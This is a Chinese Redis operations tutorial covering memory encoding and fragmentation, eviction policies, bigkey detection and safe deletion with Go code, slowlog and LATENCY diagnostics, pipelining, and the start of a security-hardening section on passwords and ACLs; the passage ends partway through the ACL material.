Skip to content
Redis 性能优化与运维实战

Redis 性能优化与运维实战

Redis 的性能在大多数场景下足以应付百亿级日请求,但真正上生产后,内存膨胀、慢查询阻塞、Bigkey 拖垮网络、主从同步延迟等问题仍频频出现。本文从内存优化、淘汰策略、Bigkey 治理、慢查询诊断、批处理加速、安全加固、监控、备份恢复到系统级调优,覆盖一线运维最需要掌握的 12 个维度。


1. 内存优化

Redis 是内存数据库,内存是决定成本和稳定性的第一资源。理解内存怎么花的、能省多少、怎么省,是性能优化的起点。

1.1 Redis 内存模型

内存构成

Redis 进程占用的内存分为三大块:

内存分类 说明 典型占比
数据内存 键值对存储,包含 key、value 及内部数据结构开销(dictEntry、redisObject、SDS 等) > 90%
进程内存 Redis Server 自身进程开销,包括代码段、栈、事件循环等 几 MB
缓冲区内存 客户端输入/输出缓冲区、AOF 缓冲区、主从复制缓冲区、复制积压缓冲区(replication backlog) 视连接数和数据量而定

后面客户端输出缓冲区如果配置不当,可能成为内存"黑洞"——详见第 10 节。

数据内存的内部消耗

┌────────────┐
│  dictEntry │  24 bytes (3个指针,bucket链表中一个节点)
├────────────┤
│ redisObject│  16 bytes (type + encoding + refcount + lru + ptr)
├────────────┤
│     Key    │  SDS (Simple Dynamic String) 存储
├────────────┤
│   Value    │  SDS / ziplist / listpack / skiplist / intset ...
└────────────┘

这意味着:存一个 set foo bar,实际开销远不止 6 个字节。

🔬 内存分配器

  • jemalloc(Linux 默认编译选项):Facebook 优化的 malloc,内存碎片少,支持 MEMORY MALLOC-STATSMEMORY PURGE
  • libc malloc:系统默认的 malloc,碎片控制不如 jemalloc,不支持 purge。
  • 可用 INFO memory | grep mem_allocator 查看当前使用的分配器。

内存碎片

mem_fragmentation_ratio = used_memory_rss / used_memory
  • used_memory:Redis 分配器(jemalloc)认为自己分配出去的总字节数。
  • used_memory_rss:操作系统角度看到的该进程实际占用的物理内存。
  • 碎片率 > 1 说明有碎片(正常范围 1 ~ 1.5),操作系统看到的内存多于分配器认为已分配的。
  • 碎片率 < 1 通常表示发生了 swap,部分数据被换出到磁盘,性能会急剧下降。

碎片的本质原因:

  1. 内存分配器本身的开销(jemalloc 按 size class 分配,存在内部碎片)。
  2. 频繁修改不同大小的 value(SET 大字符串替换小字符串,释放的旧空间不一定被复用)。
  3. 大量 key 过期(大量不连续的释放空洞)。

1.2 内存查看命令

INFO memory

INFO memory

核心字段:

字段 含义
used_memory 分配器分配的总内存(字节)
used_memory_human 同上,人类可读
used_memory_rss OS 角度的物理内存
used_memory_peak 历史内存峰值
used_memory_dataset 纯数据(used_memory - 缓冲区等)
mem_fragmentation_ratio 碎片率 = rss / used_memory
mem_allocator 分配器名称
maxmemory 配置的最大内存上限

💡 mem_fragmentation_ratio > 1.5 应引起关注;> 2 需要着手处理(见 1.3 碎片整理)。

MEMORY STATS

MEMORY STATS

比 INFO memory 更细粒度,输出包括各内部模块的内存明细(dataset.percentagekeys.countkeys.bytes-per-key 等),适合精确排查内存分布。

MEMORY USAGE

MEMORY USAGE user:1001          # 单个 key 的内存占用(包含内部开销)
MEMORY USAGE user:1001 SAMPLES 10   # 对于集合类型,采样10个元素计算均值

注意:MEMORY USAGE 返回的是 key 占用分配器的总内存,比 STRLEN / HLEN 准确得多。

MEMORY DOCTOR

MEMORY DOCTOR

自动分析内存状态并给出运维建议,会检查碎片率、各模块占比、是否配置了 maxmemory 等。

MEMORY PURGE

MEMORY PURGE

主动清理 jemalloc 的脏页(dirty pages),将碎片空闲内存归还给 OS。要求 jemalloc >= 4.0。

MEMORY MALLOC-STATS

MEMORY MALLOC-STATS

打印 jemalloc 内部各 size class 的分配统计,用于深入分析分配器层面的碎片来源。

1.3 内存优化策略

小对象存储优化:ziplist / listpack

Redis 对 Hash、List、ZSet 三种集合类型的「小数据量」场景使用紧凑编码,大幅减少内存。

类型 紧凑编码 配置参数
Hash ziplist → listpack (7.0+) hash-max-listpack-entries 512
hash-max-listpack-value 64
ZSet ziplist → listpack (7.0+) zset-max-listpack-entries 128
zset-max-listpack-value 64
List quicklist(内部是 linkedlist + ziplist) list-max-listpack-size -2
list-compress-depth 0

Redis 7.0 将 ziplist 全面替换为 listpack,解决 ziplist 的连锁更新问题,同时保持相近的紧凑性。

配置含义:

  • xxx-max-listpack-entries:当集合的元素数超过此值时,转为常规编码(hashtable/skiplist)。
  • xxx-max-listpack-value:当集合中任一元素(value 或 field)长度超过此值时,转为常规编码。

💡 对于存储几百个短 field 的 Hash,保持 ziplist/listpack 编码比 hashtable 能节省 50%~80% 内存。

String 类型的编码策略

编码 条件 内存分配
int value 可解析为整数(INCR 之类命令操作后自动转换) 直接在 redisObject 的 ptr 字段存值,不额外分配
embstr value <= 44 字节 一次 malloc 分配 redisObject + SDS,内存连续
raw value > 44 字节 两次 malloc,redisObject 和 SDS 各自分配,支持原地修改

💡 embstr 虽然只读(修改即转 raw),但减少了一次 malloc 和由此产生的碎片。44 字节这个阈值与 jemalloc 的 64 字节 bin 对齐有关(64 - redisObject 16 - SDS 头 3 - ‘\0’ = 44)。

整数共享池

Redis 启动时预创建 0 ~ 9999 的整数对象,所有用到这些整数的场景(SET count 100LPUSH list 9999)全部引用同一个对象,节省内存。

// redis.h
#define REDIS_SHARED_INTEGERS 10000

这仅限于 Redis Object 层面。如果整数存储为 String(如 SET key "123"),不会自动转换为 int 编码,也不一定命中共享池——需要通过 INCR 等操作触发 int 编码。

内存回收

两种触发方式:

  1. 被动过期(惰性删除):访问 key 时检查是否过期,已过期则删除。
  2. 主动过期:后台定期任务(activeExpireCycle)每秒执行 10 次,每次随机抽取 20 个带 TTL 的 key,删除其中已过期的,如果删除比例 > 25% 则循环继续。

🚨 大量 key 同时过期时(俗称"缓存雪崩"场景),主动过期循环不退出,会阻塞主线程。解决方案:在 TTL 上添加随机偏移 EXPIRE key seconds + RAND()*3600

碎片整理

Redis 4.0+ 支持主动碎片整理(Active Defrag),在 server 空闲时自动整理内存碎片。

# redis.conf
activedefrag yes                              # 开启主动碎片整理

active-defrag-ignore-bytes 100mb              # 碎片达到 100MB 才开始整理
active-defrag-threshold-lower 10              # 碎片率 >= 110%(即 > 1.1)时开始
active-defrag-threshold-upper 100             # 碎片率超过 100%(即 > 2.0)时全力整理

active-defrag-cycle-min 1                     # CPU 时间占比下限 1%
active-defrag-cycle-max 25                    # CPU 时间占比上限 25%

active-defrag-max-scan-fields 1000            # 单次扫描的最大 field 数
  • 碎片整理靠扫描主字典 + 过期字典,搬移 key 以合并空闲空间。
  • 耗时被 CPU 时间占比控制,不会对正常请求吞吐造成严重影响,但仍建议在低峰期开启观察。

1.4 💡 数据结构选型优化

案例一:存储用户信息

假设用户有 5 个属性:name, age, email, city, level。

方案 内存占用 复杂度 评价
String JSON 整个 JSON 字符串 + key ≤ 44B 时 embstr,否则 raw 最简单 修改一个字段要整体序列化/反序列化,耦合高
多 String key user:{id}:name, user:{id}:age … 5 个 key 最低 每个 key 都有 dictEntry + redisObject 开销,空间利用率最低
Hash (推荐) HSET user:{id} name xxx age 25 ... ziplist/listpack 编码时所有 field-value 紧凑排列,一个 key 的开销

💡 字段数不超过 hash-max-listpack-entries(默认 512)且每个 value 不超过 hash-max-listpack-value(默认 64 字节)时,Hash 是空间效率最优的方案。

案例二:大量 entry 的 Hash

问题:一个 Hash 包含了 100 万个 field,超过了 listpack 阈值,自动转为 hashtable,指针开销剧增。

解决方案:分段 Hash。

// 用户场景:存储用户的历史登录时间
// 原始方案
key := fmt.Sprintf("login_history:%d", userID)
field := dateStr

// 分段方案 (假设 userID = 123456)
segment := userID / 100            // 1234
subKey := userID % 100             // 56
key = fmt.Sprintf("login_history:%d", segment)
field = fmt.Sprintf("%d:%s", subKey, dateStr)

通过人为分段,将单个大 Hash 拆成多个小 Hash,每个小 Hash 保持在 listpack 编码范围内。

案例三:存储 bool 标记

# 方案A:独立 String
SET user:1:active 1
SET user:2:active 0
# 1000万个用户:~30MB

# 方案B:Bitmap
SETBIT active_users 1 1
SETBIT active_users 2 0
# 1000万个用户:~1.2MB

💡 对于二值标记(在线/离线、签到/未签到、已读/未读),Bitmap 可节省 95%+ 内存,同时支持 BITCOUNTBITOP 等高效批量操作。


2. 内存淘汰策略

used_memory > maxmemory 时,Redis 根据配置的淘汰策略选出一些 key 删除以腾出空间。

2.1 8 种淘汰策略详解

策略 行为 淘汰范围 适用场景
noeviction 不淘汰,写入返回 OOM command not allowed 错误 不允许数据丢失的系统(不推荐用于纯缓存)
allkeys-lru 在所有 key 中按近似 LRU 淘汰 全量 纯缓存场景首选
volatile-lru 仅在有 TTL 的 key 中按近似 LRU 淘汰 带过期时间 缓存+持久数据混合
allkeys-lfu 在所有 key 中按近似 LFU 淘汰 全量 访问模式有明确冷热差异
volatile-lfu 仅在有 TTL 的 key 中按近似 LFU 淘汰 带过期时间 同上 + 混合场景
allkeys-random 在所有 key 中随机淘汰 全量 访问模式均匀分布
volatile-random 仅在有 TTL 的 key 中随机淘汰 带过期时间 同上 + 混合场景
volatile-ttl 在带 TTL 的 key 中,淘汰剩余生存时间最短的 带过期时间 希望更早过期的数据优先被清理

2.2 🔬 LRU vs LFU 实现

近似 LRU

Redis 不维护全量的访问链表(开销太大),而是采用采样近似

  • 每个 redisObject 的前 24 位存储一个"时钟值"(server.lruclock 的快照)。
  • server.lruclock 每 100ms 自增一次(精度为 100ms,不是真正的 1 秒时钟)。
  • 淘汰流程:
1. 随机采样 N 个 key(N = maxmemory-samples,默认 5)
2. 比较它们的 lru 时钟值(越小表示越久没被访问)
3. 删除 lru 时钟值最小的 key
4. 如果释放的内存仍不够,重复上述步骤
  • maxmemory-samples:采样数越大,越接近真实 LRU,但 CPU 开销越大。推荐设为 10。

🔬 “近似"的代价:采样 5 个 key 时可能有 35% 的失误率(淘汰的并不是真实最久未使用的);采样 10 个时失误率降到 10% 以内。

LFU (Redis 4.0+)

LFU 将 redisObject 中的 24 位拆分成两部分:

┌──────────────────┬──────────────┐
│  16-bit ldt      │   8-bit counter │  (共 24 位)
│  (last decrement │   (对数计数器) │
│   time)          │               │
└──────────────────┴──────────────┘
  • ldt(Last Decrement Time):上次衰减的时间(分钟级精度)。
  • counter:对数频率计数器,不是简单自增。

counter 的增长使用概率对数算法:

1 / (counter * lfu_log_factor + 1) 的概率增加 counter
  • lfu-log-factor 默认 10:counter 从 0 涨到 255(上限),大约需要 100 万次命中。
  • 设置越大,counter 增长越慢,越能区分"偶尔访问"和"频繁访问”。

衰减机制:每过 lfu-decay-time 分钟,counter 减 1。

  • lfu-decay-time 默认 1(分钟),即每分钟衰减一次。
  • 这保证了:一个被短期热点的 key(比如突发热点新闻),热度消退后能在几分钟内衰减到正常水平。而 LRU 会把这个 key 误保留很长时间(它只是"最近访问过",但没有权重概念)。
对比维度 LRU LFU
判断依据 最近访问时间 访问频率
适应性 无法区分"刚被访问1次"和"被访问了1000次" 能区分
冷启动 新数据天然最"新" 新数据 counter=5(不会太低)
热点变化 旧热点自然淘汰快 旧热点通过衰减淘汰
CPU 开销 采样比较耗时 采样比较耗时 + 概率计算

2.3 配置

# redis.conf
maxmemory 4gb                                  # 最大内存上限(必须设置!)
maxmemory-policy allkeys-lru                   # 淘汰策略
maxmemory-samples 10                           # LRU/LFU 采样数(默认5,建议10)

# 以下是 LFU 专属配置(使用 LFU 策略时生效)
lfu-log-factor 10                              # 对数因子,越大增长越慢(默认10)
lfu-decay-time 1                               # 衰减周期,单位分钟(默认1)

🚨 务必设置 maxmemory:默认 maxmemory=0(64位系统无限制),内存用满后 OS 的 OOM Killer 可能直接 kill 掉 Redis 进程。

2.4 💡 淘汰策略选型

场景 推荐策略 原因
纯缓存,无持久数据 allkeys-lru 简单可靠,业界最常用
缓存 + 有部分永不过期的持久数据 volatile-lru 保护永久数据不被淘汰,只在有过期时间的 key 中选
业务有明显冷热差异(如电商商品) allkeys-lfu 能保留真正的热数据,避免 LRU 把低频但"刚碰过"的数据误保留
数据访问均匀,无规律 allkeys-random 比 LRU 省 CPU,效果差不多
希望更早过期的数据被淘汰 volatile-ttl 配合灵活的 TTL 策略使用

3. Bigkey 排查与治理

3.1 定义

类型 Bigkey 标准 致命标准
String > 10 KB > 10 MB
Hash / List / Set / ZSet > 5000 个元素 > 100 万个元素

这没有硬性标准,视业务 QPS 和机器配置而定。对延迟要求高的系统,String 超过 1 KB 或集合元素超过 1000 就可能影响 P99 延迟。

3.2 危害

危险 表现
网络阻塞 少量 Bigkey 的 GET/HGETALL 请求就能占满网卡带宽,影响所有请求
数据倾斜(集群) 集群中某个 slot 的数据量远大于其他,该节点成为瓶颈
Redis 阻塞 DELHGETALLSMEMBERSLRANGE 0 -1 等操作耗时与元素数成正比,阻塞主线程
CPU 压力 反序列化大 value 需要更多 CPU 周期
内存碎片 大 value 频繁创建和释放,产生大量碎片
主从同步慢 RDB 文件更大,同步耗时更久

3.3 发现方法

方法一:redis-cli --bigkeys

redis-cli -h 127.0.0.1 -p 6379 -a password --bigkeys

扫描整个 keyspace,打印每种类型中最大的 key 及其大小。

输出示例

[00.00%] Biggest string found so far 'user:session:12345' with 5242880 bytes
[99.99%] Biggest hash   found so far 'orders:202601' with 1000000 fields

-------- summary -------
Sampled 50000000 keys in the keyspace!
Total key length in bytes is 750000000 (avg len 15.00)

Biggest   string found 'user:session:12345' has 5242880 bytes
Biggest     hash found 'orders:202601' has 1000000 fields
Biggest     list found 'events:queue' has 200000 items
Biggest      set found 'users:online' has 500000 members
Biggest    zset found 'leaderboard:daily' has 300000 members

⚠️ 局限:

  • 只返回每种类型中最大的 1 个,无法找到所有 Bigkey。
  • 使用 SCAN 遍历,不影响线上服务,但大实例可能扫描很久。
  • 不统计 key 的内部开销(METADATA 等),只看数据集大小。

方法二:编程扫描(自定义脚本)

package main

import (
	"context"
	"fmt"
	"log"
	"sort"

	"github.com/redis/go-redis/v9"
)

const (
	bigKeyThreshold = 10 * 1024  // 10KB for string
	bigEleThreshold = 5000        // 5000 elements for collections
)

type BigKey struct {
	Key      string
	Type     string
	Length   int
	Size     int64
}

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr:     "127.0.0.1:6379",
		Password: "password",
	})

	var cursor uint64
	var bigkeys []BigKey

	for {
		keys, nextCursor, err := rdb.Scan(ctx, cursor, "*", 1000).Result()
		if err != nil {
			log.Fatal(err)
		}

		for _, key := range keys {
			keyType, err := rdb.Type(ctx, key).Result()
			if err != nil {
				log.Printf("type err for %s: %v", key, err)
				continue
			}

			switch keyType {
			case "string":
				size, err := rdb.MemoryUsage(ctx, key, 0).Result()
				if err != nil {
					continue
				}
				if size > bigKeyThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "string", Size: size})
				}

			case "hash":
				length, err := rdb.HLen(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					size, _ := rdb.MemoryUsage(ctx, key, 10).Result()
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "hash", Length: int(length), Size: size})
				}

			case "list":
				length, err := rdb.LLen(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "list", Length: int(length)})
				}

			case "set":
				length, err := rdb.SCard(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "set", Length: int(length)})
				}

			case "zset":
				length, err := rdb.ZCard(ctx, key).Result()
				if err != nil {
					continue
				}
				if length > bigEleThreshold {
					bigkeys = append(bigkeys, BigKey{Key: key, Type: "zset", Length: int(length)})
				}
			}
		}

		cursor = nextCursor
		if cursor == 0 {
			break
		}
	}

	// 按 Size 降序排列
	sort.Slice(bigkeys, func(i, j int) bool {
		return bigkeys[i].Size > bigkeys[j].Size
	})

	for _, bk := range bigkeys {
		fmt.Printf("%s | %s | len=%d | size=%d\n", bk.Key, bk.Type, bk.Length, bk.Size)
	}
}

方法三:离线分析 RDB 文件

# 安装 redis-rdb-tools
pip install rdbtools python-lzf

# 分析并生成 CSV 报告
rdb -c memory /data/redis/dump.rdb > memory_report.csv

# 排序查看内存占用最大的 key
sort -t',' -k4 -nr memory_report.csv | head -20

优点:离线分析,不消耗线上资源,输出精确到每个 key 的内存开销。
缺点:RDB 生成时间和分析时间较长(大实例可能数小时)。

方法四:网络流量监控

通过抓包或网卡统计监控客户端流量,定位流量异常的 key 访问。

方法五:云厂商监控

阿里云 DAS(Database Autonomy Service)、腾讯云 DBbrain 等提供一键 Bigkey 分析。

3.4 删除方法

🚨 直接 DEL 的风险

# 危险!删除一个包含 100 万元素的 Hash
DEL orders:202601   # 阻塞主线程几百毫秒到数秒

Redis 单线程执行命令,DEL 释放大量内存时(尤其是复杂数据结构的递归释放),会长时间阻塞其他请求。

Redis 4.0+:UNLINK 异步删除

# 安全!UNLINK 将 key 标记为待删除,后台线程异步回收内存
UNLINK orders:202601

UNLINK 会立即把 key 从 keyspace 中移除(其他线程再也看不见),然后由后台线程(lazyfree)逐步回收内存。

相关配置:

# 甚至可以让 DEL 像 UNLINK 一样异步执行
lazyfree-lazy-eviction yes
lazyfree-lazy-expire yes
lazyfree-lazy-server-del yes
replica-lazy-flush yes

低版本:渐进式删除集合类型

如果 Redis 低于 4.0 且无法升级,需要分批删除集合中的子元素。

Hash

// 使用 HSCAN + HDEL 分批删除,每次删除 100 个 field
key := "orders:202601"
var cursor uint64
for {
    fields, nextCursor, _ := rdb.HScan(ctx, key, cursor, "*", 100).Result()
    if len(fields) > 0 {
        fkeys := make([]string, 0, len(fields)/2)
        for i := 0; i < len(fields); i += 2 {
            fkeys = append(fkeys, fields[i])
        }
        rdb.HDel(ctx, key, fkeys...)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key) // 最后删除空 Hash

Set

// 使用 SSCAN + SREM
var cursor uint64
for {
    members, nextCursor, _ := rdb.SScan(ctx, key, cursor, "*", 100).Result()
    if len(members) > 0 {
        rdb.SRem(ctx, key, members)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key)

ZSet

// 使用 ZSCAN + ZREM
var cursor uint64
for {
    items, nextCursor, _ := rdb.ZScan(ctx, key, cursor, "*", 100).Result()
    if len(items) > 0 {
        members := make([]string, 0, len(items)/2)
        for i := 0; i < len(items); i += 2 {
            members = append(members, items[i])
        }
        rdb.ZRem(ctx, key, members)
    }
    cursor = nextCursor
    if cursor == 0 {
        break
    }
}
rdb.Del(ctx, key)

List

// 使用 LTRIM 分批删除,每次保留最后 100 个(即删掉前 100 个)
for {
    length, _ := rdb.LLen(ctx, key).Result()
    if length == 0 {
        break
    }
    rdb.LTrim(ctx, key, 0, -101)
}
rdb.Del(ctx, key)

完整渐进式删除脚本

package main

import (
	"context"
	"fmt"
	"log"
	"time"

	"github.com/redis/go-redis/v9"
)

// safeDeleteBigKey 安全删除 Bigkey,分批 + 休眠,避免影响线上
func safeDeleteBigKey(ctx context.Context, rdb *redis.Client, key string, batchSize int64, sleepMs int) error {
	exists, err := rdb.Exists(ctx, key).Result()
	if err != nil {
		return fmt.Errorf("exists err: %w", err)
	}
	if exists == 0 {
		return nil
	}

	keyType, err := rdb.Type(ctx, key).Result()
	if err != nil {
		return fmt.Errorf("type err: %w", err)
	}

	if keyType == "string" {
		return rdb.Del(ctx, key).Err()
	}

	// 集合类型:渐进式删除
	var cursor uint64
	for {
		switch keyType {
		case "hash":
			fields, nextCursor, err := rdb.HScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("hscan err: %w", err)
			}
			if len(fields) > 0 {
				// fields 是 [field1, val1, field2, val2, ...],提取 field 部分
				fkeys := make([]string, 0, len(fields)/2)
				for i := 0; i < len(fields); i += 2 {
					fkeys = append(fkeys, fields[i])
				}
				if err := rdb.HDel(ctx, key, fkeys...).Err(); err != nil {
					return fmt.Errorf("hdel err: %w", err)
				}
			}
			cursor = nextCursor

		case "set":
			data, nextCursor, err := rdb.SScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("sscan err: %w", err)
			}
			if len(data) > 0 {
				if err := rdb.SRem(ctx, key, data).Err(); err != nil {
					return fmt.Errorf("srem err: %w", err)
				}
			}
			cursor = nextCursor

		case "zset":
			data, nextCursor, err := rdb.ZScan(ctx, key, cursor, "*", batchSize).Result()
			if err != nil {
				return fmt.Errorf("zscan err: %w", err)
			}
			if len(data) > 0 {
				// data 是 [member1, score1, member2, score2, ...]
				members := make([]string, 0, len(data)/2)
				for i := 0; i < len(data); i += 2 {
					members = append(members, data[i])
				}
				if err := rdb.ZRem(ctx, key, members).Err(); err != nil {
					return fmt.Errorf("zrem err: %w", err)
				}
			}
			cursor = nextCursor

		case "list":
			length, err := rdb.LLen(ctx, key).Result()
			if err != nil {
				return fmt.Errorf("llen err: %w", err)
			}
			trimLen := length - batchSize
			if trimLen < 0 {
				trimLen = 0
			}
			if err := rdb.LTrim(ctx, key, 0, trimLen).Err(); err != nil {
				return fmt.Errorf("ltrim err: %w", err)
			}
			if trimLen == 0 {
				if err := rdb.Del(ctx, key).Err(); err != nil {
					return fmt.Errorf("del list err: %w", err)
				}
				return nil
			}

			// List 没有 SCAN,需要循环 LTRIM
			if sleepMs > 0 {
				time.Sleep(time.Duration(sleepMs) * time.Millisecond)
			}
			continue
		}

		if cursor == 0 {
			if err := rdb.Del(ctx, key).Err(); err != nil {
				return fmt.Errorf("del err: %w", err)
			}
			break
		}

		if sleepMs > 0 {
			time.Sleep(time.Duration(sleepMs) * time.Millisecond)
		}
	}

	return nil
}

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr:     "127.0.0.1:6379",
		Password: "password",
	})

	if err := safeDeleteBigKey(ctx, rdb, "big_hash_key", 500, 5); err != nil {
		log.Fatal(err)
	}
	fmt.Println("deleted successfully")
}

### 3.5 预防措施

1. **业务层限制**应用代码在写入前校验 value 大小和集合元素数
2. **定期清理**为集合中的过期元素设置 `EXPIRE` 或使用 TTL 管理
3. **合理设计**参考 1.4 节的数据结构优化案例
4. **提前告警**通过 3.3 中的方法定期扫描发现潜在 Bigkey 提前治理

---

## 4. 慢查询

### 4.1 慢查询日志配置

```bash
# redis.conf
slowlog-log-slower-than 10000    # 阈值微秒),默认 1000010ms
slowlog-max-len 128               # 日志最大条数FIFO 队列

💡 生产环境建议:

slowlog-log-slower-than 1000     # 1ms —— 对 Redis 来说,超过 1ms 就算慢了
slowlog-max-len 1000              # 128 太小,建议扩大到 1000~

设置为 0 记录所有命令(调试用,不用于生产);设置为负数禁用慢查询日志。

4.2 慢查询命令

# 查看最近 10 条
SLOWLOG GET 10

# 查看最近 5 条
SLOWLOG GET 5

# 当前慢查询记录数
SLOWLOG LEN

# 清空慢查询日志
SLOWLOG RESET

4.3 慢查询日志解读

127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 1234567          # 1. 唯一递增 ID
   2) (integer) 1700000000       # 2. Unix 时间戳
   3) (integer) 15789            # 3. 执行耗时(微秒),本例约 15.8ms
   4) 1) "KEYS"                  # 4. 命令和参数
      2) "user:*"
   5) "10.0.1.100:45678"         # 5. 客户端 IP:Port
   6) "my-app-server-01"         # 6. 客户端名称(CLIENT SETNAME 设置)

4.4 常见慢查询原因

原因 示例 严重度 解决方案
KEYS pattern KEYS user:* 🔴严重 改用 SCAN
大 key 全量操作 HGETALL / SMEMBERS / LRANGE 0 -1 🔴严重 改用 HSCAN / SSCAN / LRANGE 0 99
O(N) 命令大数据量 SUNION / ZUNIONSTORE 对多个大集合 🔴严重 在客户端做合并
大量 key 同时过期 秒杀活动,同一秒过期 🟡中等 TTL 加随机偏移
BGSAVE / BGREWRITEAOF fork 内存大时 fork() 耗时 🟡中等 控制单实例 < 10GB
AOF fsync appendfsync always 🟡中等 改为 everysec
网络延迟(看起来像慢查询) 跨机房调用 🟢轻微 就近部署

🔬 KEYS 慢的原因:KEYS 遍历整个 dict 全局哈希表并匹配 glob 模式,O(N) 复杂度且不进行渐进式处理,单次请求中完成所有匹配后才返回。SCAN 将遍历分到多轮,每次只搬运游标,不阻塞其他请求。

4.5 LATENCY 诊断

Redis 2.8.13+ 引入了 LATENCY 子系统,记录服务器层面的延迟事件(fork、AOF、过期等)。

# 查看最新延迟事件
LATENCY LATEST
# 输出示例:
# 1) 1) "fork"
#    2) (integer) 1700000000
#    3) (integer) 35000          # 35ms fork 延迟(内存大)
# 2) 1) "aof-fsync-always"
#    2) (integer) 1700000100
#    3) (integer) 8000

# 查看某个事件的历史延迟
LATENCY HISTORY fork

# 获取自动诊断建议
LATENCY DOCTOR
# 输出示例:
# Dave, I have observed latency spikes in this Redis instance.
# 1- The fork system call is taking a significant amount of time...
#    I can suggest: avoid using large instances (more than a few GB)...

# 重置延迟记录
LATENCY RESET [event]

LATENCY 能监控的延迟源

事件名 含义
fork fork() 系统调用耗时(BGSAVE / BGREWRITEAOF)
aof-stat AOF 追加写磁盘耗时
aof-rewrite-diff-write AOF rewrite 期间写差异数据到磁盘的耗时
aof-rename 重命名 AOF 文件的耗时
aof-write write(2) 系统调用耗时
aof-write-active-child 有子进程(rewrite)时 write 的耗时
aof-write-alone 无子进程时 write 的耗时
aof-write-pending-fsync write 后等待 fsync 完成的耗时
command-unblocking 非阻塞命令的实际耗时
fast-command O(1) 或 O(log N) 命令监控
slow-command O(N) 命令监控
expire-cycle 主动过期循环耗时

5. 批处理优化

5.1 Pipeline

原理:将多条命令打包发送,一次性读取全部结果,减少客户端与 Redis 之间的 RTT(Round Trip Time)。

无 Pipeline:  CMD1 →   ← RESP1   CMD2 →   ← RESP2   CMD3 →   ← RESP3
                 RTT            RTT            RTT

有 Pipeline:  CMD1、CMD2、CMD3 →   ← RESP1、RESP2、RESP3
                 1 次 RTT

使用示例:

package main

import (
	"context"
	"fmt"

	"github.com/redis/go-redis/v9"
)

func main() {
	ctx := context.Background()
	rdb := redis.NewClient(&redis.Options{
		Addr: "127.0.0.1:6379",
	})

	// 方式一:手动创建 Pipeline
	pipe := rdb.Pipeline()
	for i := 0; i < 10000; i++ {
		pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
	}
	cmds, err := pipe.Exec(ctx)
	if err != nil {
		panic(err)
	}
	fmt.Printf("Executed %d commands\n", len(cmds))

	// 方式二:使用 Pipelined 自动管理
	_, err = rdb.Pipelined(ctx, func(pipe redis.Pipeliner) error {
		for i := 0; i < 10000; i++ {
			pipe.Set(ctx, fmt.Sprintf("key:%d", i), fmt.Sprintf("value:%d", i), 0)
		}
		return nil
	})
	if err != nil {
		panic(err)
	}
}

⚠️ 注意事项:

  • Pipeline 不是原子操作——中间可能被其他客户端的命令交错执行。
  • Pipeline 中不要塞太多命令(内存 + 网络缓冲问题),建议每批 100~500 条。
  • 集群模式中,Pipeline 只能对同一节点的命令生效。跨节点的 Pipeline 需要客户端分组。

5.2 集群下的批处理

方案 实现方式 耗时 优点 缺点
串行命令 for 循环逐个发送 N 次网络 + N 次命令 代码简单 最慢,RTT 膨胀
串行 slot 按 slot 分组后,逐个 slot 发 Pipeline M 次网络 + N 次命令 RTT 显著减少 代码稍复杂
并行 slot 按 slot 分组后,多线程并发发 Pipeline 1 次网络 + N 次命令 最快 需要多线程/协程管理
hash_tag {userid} 确保同 key 在同一个 slot 1 次网络 + N 次命令 Pipeline 编写最简单 数据可能倾斜,热点问题

hash_tag 示例

# 没有 hash_tag:key 由 CRC16 散列到不同 slot
SET user:1:name "Alice"    # slot 可能 = 5000
SET user:1:age "25"        # slot 可能 = 11000

# 有 hash_tag:只对 {} 中的内容做散列
SET user:{1}:name "Alice"  # slot = CRC16("1") fixed
SET user:{1}:age "25"      # slot = CRC16("1") fixed

🚨 hash_tag 的风险:如果大量业务 key 使用相同的 tag(如 {user:1001}...{user:1001}...),这些 key 全部落在同一个 slot,该 slot 所在节点可能成为热点甚至 OOM。

5.3 💡 批量导入建议

数据量 推荐方案 说明
< 1 万条 MSET / MGET 原生命令,原子且高效
1 万 ~ 100 万条 Pipeline(100~500 条/批) 分批防止单次 Pipeline 过大
> 100 万条 redis-cli --pipe 或 AOF 恢复 最快速的大批量导入

redis-cli –pipe 示例

# 生成 Redis 协议格式的数据文件
cat data.txt | redis-cli -h 127.0.0.1 -p 6379 -a password --pipe

data.txt 格式(Redis Protocol):

*3\r\n$3\r\nSET\r\n$4\r\nkey1\r\n$6\r\nvalue1\r\n
*3\r\n$3\r\nSET\r\n$4\r\nkey2\r\n$6\r\nvalue2\r\n

也可以用 Python 生成 RESP 格式数据,管道导入。


6. 安全加固

6.1 安全隐患

风险 后果
bind 0.0.0.0 且无密码 公网扫描发现后可被任意写入/删除数据
CONFIG SET dir + CONFIG SET dbfilename 可写 写入任意文件(crontab、SSH key)
root 用户运行 被攻击后可写系统文件并提权
默认端口 6379 容易被扫描器发现
KEYS / FLUSHALL 未禁用 运维误操作或攻击者执行危险的 O(N) 命令

6.2 加固措施

1. 密码认证

# redis.conf
requirepass your_strong_password_here

客户端连接:

redis-cli -a your_strong_password_here
# 或连接后 AUTH
AUTH your_strong_password_here

密码以明文存储和传输(Redis 6.0 之前),6.0+ 可用 TLS 保护。

2. ACL (Redis 6.0+)

细粒度权限控制,不同用户不同权限。

# 创建只读用户
ACL SETUSER readonly_user on >readonly_pass ~* +@read -@write

# 创建受限用户(只能操作 user:* 前缀的 key)
ACL SETUSER app_user on >app_pass ~user:* +@all

# 禁用 default 用户
ACL SETUSER default off

# 查看所有用户
ACL LIST

# 查看当前用户的权限
ACL WHOAMI

# 从外部 ACL 文件加载
ACL LOAD

ACL 文件格式(aclfile):

user default off
